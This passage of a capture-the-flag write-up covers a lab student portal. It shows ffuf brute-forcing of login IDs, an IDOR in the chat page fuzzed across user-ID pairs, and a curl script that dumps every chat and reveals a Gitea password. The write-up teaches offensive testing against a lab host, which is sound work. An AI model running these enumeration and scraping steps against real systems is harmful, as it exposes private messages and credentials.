          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://portal.guardian.htb/login.php
 :: Wordlist         : COUNT: /dev/fd/63
 :: Wordlist         : YEAR: /dev/fd/62
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=GUCOUNTYEAR&amp;password=GU1234
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 26ms]
    * COUNT: 014
    * YEAR: 2023

:: Progress: [7000/7000] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
</span></code></pre></div></div>

<p>This only finds the same account, but it’s a neat use of <code class="language-plaintext highlighter-rouge">ffuf</code> with two word lists. I’m using two less common things here. First, since <code class="language-plaintext highlighter-rouge">ffuf</code> only takes files as wordlists, I’m using <code class="language-plaintext highlighter-rouge">bash</code> <a href="https://en.wikipedia.org/wiki/Process_substitution">process substitution</a> to generate temp files full of the output of <code class="language-plaintext highlighter-rouge">seq</code> commands to generate lists of numbers. Next, with multiple <code class="language-plaintext highlighter-rouge">-w</code> parameters, I can use the format <code class="language-plaintext highlighter-rouge">-w &lt;filename&gt;:&lt;marker&gt;</code> to specify a marker for each list. In this case, I’m using <code class="language-plaintext highlighter-rouge">COUNT</code> for the counter from 0 to 999, and <code class="language-plaintext highlighter-rouge">YEAR</code> for the year (from 2020 - 2026). By default, <code class="language-plaintext highlighter-rouge">ffuf</code> will try all possible combinations, which is what I want here. I could use <code class="language-plaintext highlighter-rouge">-mode</code> to change that.</p>

<h3 id="gitea-access">Gitea Access</h3>

<h4 id="authenticated-enumeration">Authenticated Enumeration</h4>

<p>The authenticated page leads to a dashboard:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223125157470.webp" />
    <img loading="lazy" src="/img/image-20260223125157470.png" alt="image-20260223125157470" class="include_image " />
</picture>

<p>There are pages in the side menu for Courses, Assignments, Grads, Chats, and Notices, as well as a place to update the user’s profile and logout. This user is enrolled in four courses (and the date seems to always be today):</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224082054416.webp" />
    <img loading="lazy" src="/img/image-20260224082054416.png" alt="image-20260224082054416" class="include_image " />
</picture>

<p>They have six open assignments, five of which are very late, and one of which seems to always be in the future:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224082127773.webp" />
    <img loading="lazy" src="/img/image-20260224082127773.png" alt="image-20260224082127773" class="include_image " />
</picture>

<p>Trying to view an overdue assignment pops an alert:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224082146344.webp" />
    <img loading="lazy" src="/img/image-20260224082146344.png" alt="image-20260224082146344" class="include_image " />
</picture>

<p>“View Details” on the “Upcoming” assignment has a submission form:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224082343288.webp" />
    <img loading="lazy" src="/img/image-20260224082343288.png" alt="image-20260224082343288" class="include_image " />
</picture>

<p>It accepts <code class="language-plaintext highlighter-rouge">.docx</code> and <code class="language-plaintext highlighter-rouge">.xlsx</code>.</p>

<p>The chat allows for chat between two users:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223171104970.webp" />
    <img loading="lazy" src="/img/image-20260223171104970.png" alt="image-20260223171104970" class="include_image " />
</picture>

<p>The existing chats aren’t that interesting:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223171123488.webp" />
    <img loading="lazy" src="/img/image-20260223171123488.png" alt="image-20260223171123488" class="include_image " />
</picture>

<p>There’s a dropdown menu to select users to chat with a long list of users, some of which have a first.last format, and others the GUXXXYYYY format:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223171156532.webp" />
    <img loading="lazy" src="/img/image-20260223171156532.png" alt="image-20260223171156532" class="include_image " />
</picture>

<h4 id="idor">IDOR</h4>

<p>In the dropdown menu, the names and GUXXXYYYY user IDs map to values from 1 to 62, with 11, 13, and 14 missing from the list.</p>

<p>The URL for viewing a chat is something like <code class="language-plaintext highlighter-rouge">/student/chat.php?chat_users[0]=13&amp;chat_users[1]=14</code>. It seems to take an array of <code class="language-plaintext highlighter-rouge">chat_users</code> with IDs that line up to the dropdown values. For both existing chats, the <code class="language-plaintext highlighter-rouge">chat_user[0]</code> is 13, and the <code class="language-plaintext highlighter-rouge">chat_user[1]</code> is 11 or 14.</p>

<p>If I try simply changing the ids, most of the time I get an empty chat (which likely means there are no messages between those users). But for some pairs, I get their chats. For example, setting the IDs to 39 and 40 returns these messages from two other users:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223182411468.webp" />
    <img loading="lazy" src="/img/image-20260223182411468.png" alt="image-20260223182411468" class="include_image " />
</picture>

<p>There’s nothing interesting about these chats, but GU0142023 should not be reading them.</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to look for chats that aren’t empty:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="900"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> <span class="s1">'http://portal.guardian.htb/student/chat.php?chat_users[0]=NUM1&amp;chat_users[1]=NUM2'</span> <span class="nt">-w</span> &lt;<span class="o">(</span> <span class="nb">seq </span>1 62<span class="o">)</span>:NUM1 <span class="nt">-w</span> &lt;<span class="o">(</span> <span class="nb">seq </span>1 62<span class="o">)</span>:NUM2 <span class="nt">-H</span> <span class="s1">'Cookie: PHPSESSID=ht2atm7aip5jqku6531oabqone'</span> <span class="nt">-ac</span> <span class="nt">-o</span> chats.json <span class="nt">-of</span> json
<span class="go">
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://portal.guardian.htb/student/chat.php?chat_users[0]=NUM1&amp;chat_users[1]=NUM2
 :: Wordlist         : NUM1: /dev/fd/63
 :: Wordlist         : NUM2: /dev/fd/62
 :: Header           : Cookie: PHPSESSID=ht2atm7aip5jqku6531oabqone
 :: Output file      : chats.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 7306, Words: 3055, Lines: 185, Duration: 29ms]
    * NUM1: 2
    * NUM2: 1

[Status: 200, Size: 6796, Words: 2763, Lines: 178, Duration: 3234ms]
    * NUM1: 4
    * NUM2: 1

[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 4733ms]
    * NUM1: 3
    * NUM2: 1

[Status: 200, Size: 7302, Words: 3055, Lines: 185, Duration: 60ms]
    * NUM1: 1
    * NUM2: 2

[Status: 200, Size: 6849, Words: 2769, Lines: 178, Duration: 61ms]
    * NUM1: 5
    * NUM2: 2

[Status: 200, Size: 6847, Words: 2770, Lines: 178, Duration: 77ms]
    * NUM1: 3
    * NUM2: 2

[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 50ms]
    * NUM1: 1
    * NUM2: 3

[Status: 200, Size: 6859, Words: 2772, Lines: 178, Duration: 50ms]
    * NUM1: 4
    * NUM2: 3

[Status: 200, Size: 6847, Words: 2770, Lines: 178, Duration: 57ms]
    * NUM1: 2
    * NUM2: 3

[Status: 200, Size: 6796, Words: 2763, Lines: 178, Duration: 49ms]
    * NUM1: 1
    * NUM2: 4

[Status: 200, Size: 6859, Words: 2772, Lines: 178, Duration: 49ms]
    * NUM1: 3
    * NUM2: 4

[Status: 200, Size: 6853, Words: 2772, Lines: 178, Duration: 56ms]
    * NUM1: 6
    * NUM2: 4

[Status: 200, Size: 6849, Words: 2769, Lines: 178, Duration: 41ms]
    * NUM1: 2
    * NUM2: 5

[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 46ms]
    * NUM1: 6
    * NUM2: 5

[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 43ms]
    * NUM1: 5
    * NUM2: 6

[Status: 200, Size: 6853, Words: 2772, Lines: 178, Duration: 47ms]
    * NUM1: 4
    * NUM2: 6

[Status: 200, Size: 6823, Words: 2766, Lines: 178, Duration: 45ms]
    * NUM1: 8
    * NUM2: 7

[Status: 200, Size: 6850, Words: 2774, Lines: 178, Duration: 50ms]
    * NUM1: 9
    * NUM2: 7

[Status: 200, Size: 6865, Words: 2773, Lines: 178, Duration: 42ms]
    * NUM1: 10
    * NUM2: 8

[Status: 200, Size: 6823, Words: 2766, Lines: 178, Duration: 52ms]
    * NUM1: 7
    * NUM2: 8

[Status: 200, Size: 6850, Words: 2774, Lines: 178, Duration: 38ms]
    * NUM1: 7
    * NUM2: 9

[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 39ms]
    * NUM1: 10
    * NUM2: 9

[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 36ms]
    * NUM1: 9
    * NUM2: 10

[Status: 200, Size: 6865, Words: 2773, Lines: 178, Duration: 47ms]
    * NUM1: 8
    * NUM2: 10

[Status: 200, Size: 6859, Words: 2771, Lines: 178, Duration: 37ms]
    * NUM1: 12
    * NUM2: 11

[Status: 200, Size: 6808, Words: 2762, Lines: 178, Duration: 38ms]
    * NUM1: 13
    * NUM2: 11

[Status: 200, Size: 6859, Words: 2771, Lines: 178, Duration: 43ms]
    * NUM1: 11
    * NUM2: 12

[Status: 200, Size: 6837, Words: 2769, Lines: 178, Duration: 43ms]
    * NUM1: 14
    * NUM2: 12

[Status: 200, Size: 6808, Words: 2762, Lines: 178, Duration: 50ms]
    * NUM1: 11
    * NUM2: 13

[Status: 200, Size: 6826, Words: 2769, Lines: 178, Duration: 57ms]
    * NUM1: 14
    * NUM2: 13

[Status: 200, Size: 6826, Words: 2769, Lines: 178, Duration: 59ms]
    * NUM1: 13
    * NUM2: 14

[Status: 200, Size: 6837, Words: 2769, Lines: 178, Duration: 60ms]
    * NUM1: 12
    * NUM2: 14

[Status: 200, Size: 6854, Words: 2773, Lines: 178, Duration: 37ms]
    * NUM1: 17
    * NUM2: 15

[Status: 200, Size: 6854, Words: 2774, Lines: 178, Duration: 38ms]
    * NUM1: 16
    * NUM2: 15

[Status: 200, Size: 6854, Words: 2774, Lines: 178, Duration: 40ms]
    * NUM1: 15
    * NUM2: 16

[Status: 200, Size: 6861, Words: 2775, Lines: 178, Duration: 45ms]
    * NUM1: 18
    * NUM2: 16

[Status: 200, Size: 6854, Words: 2773, Lines: 178, Duration: 45ms]
    * NUM1: 15
    * NUM2: 17

[Status: 200, Size: 6850, Words: 2772, Lines: 178, Duration: 61ms]
    * NUM1: 18
    * NUM2: 17

[Status: 200, Size: 6850, Words: 2772, Lines: 178, Duration: 38ms]
    * NUM1: 17
    * NUM2: 18

[Status: 200, Size: 6861, Words: 2775, Lines: 178, Duration: 42ms]
    * NUM1: 16
    * NUM2: 18

[Status: 200, Size: 6858, Words: 2775, Lines: 178, Duration: 53ms]
    * NUM1: 20
    * NUM2: 19

[Status: 200, Size: 6871, Words: 2773, Lines: 178, Duration: 55ms]
    * NUM1: 21
    * NUM2: 19

[Status: 200, Size: 6858, Words: 2775, Lines: 178, Duration: 55ms]
    * NUM1: 19
    * NUM2: 20

[Status: 200, Size: 6838, Words: 2772, Lines: 178, Duration: 60ms]
    * NUM1: 22
    * NUM2: 20

[Status: 200, Size: 6871, Words: 2773, Lines: 178, Duration: 71ms]
    * NUM1: 19
    * NUM2: 21

[Status: 200, Size: 6838, Words: 2772, Lines: 178, Duration: 55ms]
    * NUM1: 20
    * NUM2: 22

[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 41ms]
    * NUM1: 24
    * NUM2: 23

[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 39ms]
    * NUM1: 23
    * NUM2: 24

[Status: 200, Size: 6858, Words: 2776, Lines: 178, Duration: 45ms]
    * NUM1: 26
    * NUM2: 25

[Status: 200, Size: 6858, Words: 2776, Lines: 178, Duration: 41ms]
    * NUM1: 25
    * NUM2: 26

[Status: 200, Size: 6809, Words: 2766, Lines: 178, Duration: 47ms]
    * NUM1: 28
    * NUM2: 27

[Status: 200, Size: 6809, Words: 2766, Lines: 178, Duration: 52ms]
    * NUM1: 27
    * NUM2: 28

[Status: 200, Size: 6841, Words: 2771, Lines: 178, Duration: 72ms]
    * NUM1: 30
    * NUM2: 29

[Status: 200, Size: 6841, Words: 2771, Lines: 178, Duration: 46ms]
    * NUM1: 29
    * NUM2: 30

[Status: 200, Size: 6849, Words: 2770, Lines: 178, Duration: 53ms]
    * NUM1: 32
    * NUM2: 31

[Status: 200, Size: 6849, Words: 2770, Lines: 178, Duration: 66ms]
    * NUM1: 31
    * NUM2: 32

[Status: 200, Size: 6839, Words: 2769, Lines: 178, Duration: 52ms]
    * NUM1: 34
    * NUM2: 33

[Status: 200, Size: 6839, Words: 2769, Lines: 178, Duration: 41ms]
    * NUM1: 33
    * NUM2: 34

[Status: 200, Size: 6835, Words: 2770, Lines: 178, Duration: 578ms]
    * NUM1: 36
    * NUM2: 35

[Status: 200, Size: 6835, Words: 2770, Lines: 178, Duration: 48ms]
    * NUM1: 35
    * NUM2: 36

[Status: 200, Size: 6826, Words: 2770, Lines: 178, Duration: 54ms]
    * NUM1: 38
    * NUM2: 37

[Status: 200, Size: 6826, Words: 2770, Lines: 178, Duration: 60ms]
    * NUM1: 37
    * NUM2: 38

[Status: 200, Size: 6827, Words: 2770, Lines: 178, Duration: 59ms]
    * NUM1: 40
    * NUM2: 39

[Status: 200, Size: 6827, Words: 2770, Lines: 178, Duration: 63ms]
    * NUM1: 39
    * NUM2: 40

:: Progress: [3844/3844] :: Job [1/1] :: 966 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
</span></code></pre></div></div>

<p>I’ve fuzzed from 1 to 62 for both IDs, and am including my cookie so I’m authenticated. I’m saving the results as <code class="language-plaintext highlighter-rouge">json</code> to <code class="language-plaintext highlighter-rouge">chats.json</code> so I can easily interact with them. On first thought, there are 64 chats to check, and I can print the URLs:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>chats.json | jq .results[] <span class="nt">-c</span> | <span class="nb">wc</span> <span class="nt">-l</span>
<span class="go">64
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>chats.json | jq .results[].url <span class="nt">-r</span>
<span class="go">http://portal.guardian.htb/student/chat.php?chat_users[0]=2&amp;chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&amp;chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&amp;chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&amp;chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=5&amp;chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&amp;chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&amp;chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&amp;chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&amp;chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&amp;chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&amp;chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=6&amp;chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&amp;chat_users[1]=5
http://portal.guardian.htb/student/chat.php?chat_users[0]=6&amp;chat_users[1]=5
http://portal.guardian.htb/student/chat.php?chat_users[0]=5&amp;chat_users[1]=6
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&amp;chat_users[1]=6
http://portal.guardian.htb/student/chat.php?chat_users[0]=8&amp;chat_users[1]=7
http://portal.guardian.htb/student/chat.php?chat_users[0]=9&amp;chat_users[1]=7
http://portal.guardian.htb/student/chat.php?chat_users[0]=10&amp;chat_users[1]=8
http://portal.guardian.htb/student/chat.php?chat_users[0]=7&amp;chat_users[1]=8
http://portal.guardian.htb/student/chat.php?chat_users[0]=7&amp;chat_users[1]=9
http://portal.guardian.htb/student/chat.php?chat_users[0]=10&amp;chat_users[1]=9
http://portal.guardian.htb/student/chat.php?chat_users[0]=9&amp;chat_users[1]=10
http://portal.guardian.htb/student/chat.php?chat_users[0]=8&amp;chat_users[1]=10
http://portal.guardian.htb/student/chat.php?chat_users[0]=12&amp;chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&amp;chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=11&amp;chat_users[1]=12
http://portal.guardian.htb/student/chat.php?chat_users[0]=14&amp;chat_users[1]=12
http://portal.guardian.htb/student/chat.php?chat_users[0]=11&amp;chat_users[1]=13
http://portal.guardian.htb/student/chat.php?chat_users[0]=14&amp;chat_users[1]=13
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&amp;chat_users[1]=14
http://portal.guardian.htb/student/chat.php?chat_users[0]=12&amp;chat_users[1]=14
http://portal.guardian.htb/student/chat.php?chat_users[0]=17&amp;chat_users[1]=15
http://portal.guardian.htb/student/chat.php?chat_users[0]=16&amp;chat_users[1]=15
http://portal.guardian.htb/student/chat.php?chat_users[0]=15&amp;chat_users[1]=16
http://portal.guardian.htb/student/chat.php?chat_users[0]=18&amp;chat_users[1]=16
http://portal.guardian.htb/student/chat.php?chat_users[0]=15&amp;chat_users[1]=17
http://portal.guardian.htb/student/chat.php?chat_users[0]=18&amp;chat_users[1]=17
http://portal.guardian.htb/student/chat.php?chat_users[0]=17&amp;chat_users[1]=18
http://portal.guardian.htb/student/chat.php?chat_users[0]=16&amp;chat_users[1]=18
http://portal.guardian.htb/student/chat.php?chat_users[0]=20&amp;chat_users[1]=19
http://portal.guardian.htb/student/chat.php?chat_users[0]=21&amp;chat_users[1]=19
http://portal.guardian.htb/student/chat.php?chat_users[0]=19&amp;chat_users[1]=20
http://portal.guardian.htb/student/chat.php?chat_users[0]=22&amp;chat_users[1]=20
http://portal.guardian.htb/student/chat.php?chat_users[0]=19&amp;chat_users[1]=21
http://portal.guardian.htb/student/chat.php?chat_users[0]=20&amp;chat_users[1]=22
http://portal.guardian.htb/student/chat.php?chat_users[0]=24&amp;chat_users[1]=23
http://portal.guardian.htb/student/chat.php?chat_users[0]=23&amp;chat_users[1]=24
http://portal.guardian.htb/student/chat.php?chat_users[0]=26&amp;chat_users[1]=25
http://portal.guardian.htb/student/chat.php?chat_users[0]=25&amp;chat_users[1]=26
http://portal.guardian.htb/student/chat.php?chat_users[0]=28&amp;chat_users[1]=27
http://portal.guardian.htb/student/chat.php?chat_users[0]=27&amp;chat_users[1]=28
http://portal.guardian.htb/student/chat.php?chat_users[0]=30&amp;chat_users[1]=29
http://portal.guardian.htb/student/chat.php?chat_users[0]=29&amp;chat_users[1]=30
http://portal.guardian.htb/student/chat.php?chat_users[0]=32&amp;chat_users[1]=31
http://portal.guardian.htb/student/chat.php?chat_users[0]=31&amp;chat_users[1]=32
http://portal.guardian.htb/student/chat.php?chat_users[0]=34&amp;chat_users[1]=33
http://portal.guardian.htb/student/chat.php?chat_users[0]=33&amp;chat_users[1]=34
http://portal.guardian.htb/student/chat.php?chat_users[0]=36&amp;chat_users[1]=35
http://portal.guardian.htb/student/chat.php?chat_users[0]=35&amp;chat_users[1]=36
http://portal.guardian.htb/student/chat.php?chat_users[0]=38&amp;chat_users[1]=37
http://portal.guardian.htb/student/chat.php?chat_users[0]=37&amp;chat_users[1]=38
http://portal.guardian.htb/student/chat.php?chat_users[0]=40&amp;chat_users[1]=39
http://portal.guardian.htb/student/chat.php?chat_users[0]=39&amp;chat_users[1]=40
</span></code></pre></div></div>

<p>However, there’s a duplication here, as <code class="language-plaintext highlighter-rouge">chat_users[0]=39&amp;chat_users[1]=40</code> and <code class="language-plaintext highlighter-rouge">chat_users[0]=40&amp;chat_users[1]=39</code> will return the same information. I’ll use <code class="language-plaintext highlighter-rouge">jq</code> to select chats where id 0 is less than id 1:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>chats.json | jq <span class="s1">'.results[] | select((.input.NUM1 | tonumber) &lt; (.input.NUM2 | tonumber)) | .url'</span> <span class="nt">-r</span> | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'?'</span> <span class="nt">-f2</span>
<span class="go">chat_users[0]=1&amp;chat_users[1]=2
chat_users[0]=1&amp;chat_users[1]=3
chat_users[0]=2&amp;chat_users[1]=3
chat_users[0]=1&amp;chat_users[1]=4
chat_users[0]=3&amp;chat_users[1]=4
chat_users[0]=2&amp;chat_users[1]=5
chat_users[0]=5&amp;chat_users[1]=6
chat_users[0]=4&amp;chat_users[1]=6
chat_users[0]=7&amp;chat_users[1]=8
chat_users[0]=7&amp;chat_users[1]=9
chat_users[0]=9&amp;chat_users[1]=10
chat_users[0]=8&amp;chat_users[1]=10
chat_users[0]=11&amp;chat_users[1]=12
chat_users[0]=11&amp;chat_users[1]=13
chat_users[0]=13&amp;chat_users[1]=14
chat_users[0]=12&amp;chat_users[1]=14
chat_users[0]=15&amp;chat_users[1]=16
chat_users[0]=15&amp;chat_users[1]=17
chat_users[0]=17&amp;chat_users[1]=18
chat_users[0]=16&amp;chat_users[1]=18
chat_users[0]=19&amp;chat_users[1]=20
chat_users[0]=19&amp;chat_users[1]=21
chat_users[0]=20&amp;chat_users[1]=22
chat_users[0]=23&amp;chat_users[1]=24
chat_users[0]=25&amp;chat_users[1]=26
chat_users[0]=27&amp;chat_users[1]=28
chat_users[0]=29&amp;chat_users[1]=30
chat_users[0]=31&amp;chat_users[1]=32
chat_users[0]=33&amp;chat_users[1]=34
chat_users[0]=35&amp;chat_users[1]=36
chat_users[0]=37&amp;chat_users[1]=38
chat_users[0]=39&amp;chat_users[1]=40
</span></code></pre></div></div>

<p>I’ll have Claude write me a script to format results:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># Dump all unique chat contents from chats.json</span>

<span class="nv">COOKIE</span><span class="o">=</span><span class="s2">"PHPSESSID=ht2atm7aip5jqku6531oabqone"</span>

<span class="nb">cat </span>chats.json | jq <span class="nt">-r</span> <span class="s1">'.results[] | select((.input.NUM1|tonumber) &lt; (.input.NUM2|tonumber)) | "\(.input.NUM1) \(.input.NUM2) \(.url)"'</span> | <span class="k">while </span><span class="nb">read</span> <span class="nt">-r</span> n1 n2 url<span class="p">;</span> <span class="k">do
  </span><span class="nb">echo</span> <span class="s2">"========== Chat: User </span><span class="nv">$n1</span><span class="s2"> &lt;-&gt; User </span><span class="nv">$n2</span><span class="s2"> =========="</span>
  curl <span class="nt">-gs</span> <span class="s2">"</span><span class="nv">$url</span><span class="s2">"</span> <span class="nt">-b</span> <span class="s2">"</span><span class="nv">$COOKIE</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="s1">'
    /text-sm text-gray-500 mb-1/ {
      getline
      gsub(/&lt;span.*/, "", $0)
      gsub(/^[[:space:]]+|[[:space:]]+$/, "")
      sender=$0
      next
    }
    /class="text-gray-800"/ {
      getline
      gsub(/&lt;\/div&gt;.*/, "", $0)
      gsub(/^[[:space:]]+|[[:space:]]+$/, "")
      if (sender != "") print sender ": " $0
    }
  '</span>
  <span class="nb">echo
</span><span class="k">done</span>
</code></pre></div></div>

<p>It assumes the given cookie is logged in. Then it gets each URL, fetches it with <code class="language-plaintext highlighter-rouge">curl</code>, and processes the results:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>bash scripts_claude/dump_chats.sh
<span class="go">========== Chat: User 1 &lt;-&gt; User 2 ==========
admin: Hello! How are you doing today?
admin: Here is your password for gitea: DHsNnk3V503
jamil.enockson: I am doing great, thanks.

========== Chat: User 1 &lt;-&gt; User 3 ==========
admin: Hey, I have a quick question regarding the assignment submission.
mark.pargetter: Sure, feel free to ask! What’s your question?

========== Chat: User 2 &lt;-&gt; User 3 ==========
mark.pargetter: Sure! I’ll provide detailed feedback by the end of the day.
jamil.enockson: Could you give me feedback on my last presentation?

========== Chat: User 1 &lt;-&gt; User 4 ==========
admin: What time is the meeting tomorrow?
valentijn.temby: The meeting is scheduled for 10 AM.

========== Chat: User 3 &lt;-&gt; User 4 ==========
mark.pargetter: Reminder: Your assignment is due tomorrow. Please submit it on time.
valentijn.temby: Thanks for the reminder! I will make sure to submit it.

========== Chat: User 2 &lt;-&gt; User 5 ==========
leyla.rippin: I’m available tomorrow afternoon. Does that work for you?
jamil.enockson: Can we schedule a meeting to discuss your recent project?

========== Chat: User 5 &lt;-&gt; User 6 ==========
leyla.rippin: Can you clarify the requirements for the upcoming project?
perkin.fillon: Of course! I will send you more details shortly.

========== Chat: User 4 &lt;-&gt; User 6 ==========
valentijn.temby: Just wanted to remind you about the upcoming exam next week.
perkin.fillon: Thanks for the reminder. I will make sure to prepare well.

========== Chat: User 7 &lt;-&gt; User 8 ==========
cyrus.booth: Don’t forget about the meeting later today.
sammy.treat: Thanks for the heads-up! I’ll be there on time.

========== Chat: User 7 &lt;-&gt; User 9 ==========
cyrus.booth: The system is not letting me upload my assignment. Could you help?
crin.hambidge: I’ll check it and get back to you in a few minutes.

========== Chat: User 9 &lt;-&gt; User 10 ==========
crin.hambidge: Please check the updated syllabus on the portal.
myra.galsworthy: Got it! I’ll review the syllabus and let you know if I have any questions.

========== Chat: User 8 &lt;-&gt; User 10 ==========
sammy.treat: I had some trouble accessing the course materials. Can you assist?
myra.galsworthy: I’ll help you out with that. I’ll send you the links directly.

========== Chat: User 11 &lt;-&gt; User 12 ==========
mireielle.feek: The lecture today was very informative.
vivie.smallthwaite: I’m glad you found it helpful! Let me know if you need any further explanation.

========== Chat: User 11 &lt;-&gt; User 13 ==========
mireielle.feek: Great job on your presentation yesterday!
GU0142023: Thank you! I appreciate the feedback.

========== Chat: User 13 &lt;-&gt; User 14 ==========
GU0142023: Can you help me with a few questions from the last exam?
GU6262023: Sure! I’ll assist you with those questions.

========== Chat: User 12 &lt;-&gt; User 14 ==========
vivie.smallthwaite: Are you available to review my code this evening?
GU6262023: Sure, I’ll be free after 7 PM. Let’s connect then.

========== Chat: User 15 &lt;-&gt; User 16 ==========
GU0702025: I missed class yesterday due to a personal issue. Can you share the notes?
GU0762023: No worries! I’ll send you the class notes right away.

========== Chat: User 15 &lt;-&gt; User 17 ==========
GU0702025: Can you explain the concept of polymorphism in the next lecture?
GU9492024: I’ll make sure to explain that in detail during the next class.

========== Chat: User 17 &lt;-&gt; User 18 ==========
GU9492024: The assignment submission link seems to be broken. Can you check it?
GU9612024: I’ll report the issue right now and update you shortly.

========== Chat: User 16 &lt;-&gt; User 18 ==========
GU0762023: Is there any update on the program schedule for next semester?
GU9612024: I will share the updated schedule as soon as I get the final confirmation.

========== Chat: User 19 &lt;-&gt; User 20 ==========
GU7382024: I have uploaded my project to the system. Please review it when you can.
GU6632023: I’ve received it. I will review and give you feedback soon.

========== Chat: User 19 &lt;-&gt; User 21 ==========
GU7382024: I need help understanding the requirements for the final project.
GU1922024: I’ll send you the details about the final project and its requirements shortly.

========== Chat: User 20 &lt;-&gt; User 22 ==========
GU6632023: I just wanted to say thanks for your support during the last project.
GU8032023: It was my pleasure! I’m glad I could help.

========== Chat: User 23 &lt;-&gt; User 24 ==========
GU5852023: Can we extend the submission deadline for the assignment?
GU0712023: I’ll check with the professor and let you know if an extension is possible.

========== Chat: User 25 &lt;-&gt; User 26 ==========
GU1592025: I found some errors in the last test. Are you aware of them?
GU1112023: Thanks for pointing that out. I’ll address it with the team right away.

========== Chat: User 27 &lt;-&gt; User 28 ==========
GU6432025: Can you send me the link to the course discussion forum?
GU3042024: I’ll send it over shortly.

========== Chat: User 29 &lt;-&gt; User 30 ==========
GU1482025: I need help with the software installation for the course.
GU3102024: I’ll send you a step-by-step guide on how to install it.

========== Chat: User 31 &lt;-&gt; User 32 ==========
GU7232023: I’ve updated my contact information in the portal. Please check it.
GU8912024: Thanks for updating! I’ve confirmed it on the system.

========== Chat: User 33 &lt;-&gt; User 34 ==========
GU4752025: Could you please explain the grading criteria for the course?
GU9602024: I’ll share the grading rubric with you by tomorrow.

========== Chat: User 35 &lt;-&gt; User 36 ==========
GU4382025: Can you send me a reminder about the upcoming deadline?
GU7352023: Of course! I’ll remind you a day before the deadline.

========== Chat: User 37 &lt;-&gt; User 38 ==========
GU3042025: Are you available for office hours this week?
GU3872024: Yes, I’ll be available on Wednesday from 3 PM to 5 PM.

========== Chat: User 39 &lt;-&gt; User 40 ==========
GU7462025: I missed the last lecture. Can you send me the slides?
GU3902023: I’ll send the slides to you via email shortly.
</span></code></pre></div></div>

<p>The interesting one is the first one, which gives a password for Gitea of “DHsNnk3V503” to jamil.enockson.</p>

<h4 id="find-gitea">Find Gitea</h4>

<p>I didn’t identify any interesting Gitea domains <a href="#subdomain-brute-force---tcp-80">earlier</a> when I fuzzed. I’ll get any domain in the SecLists DNS section that has the string “git” and try it with <code class="language-plaintext highlighter-rouge">ffuf</code>:</p>

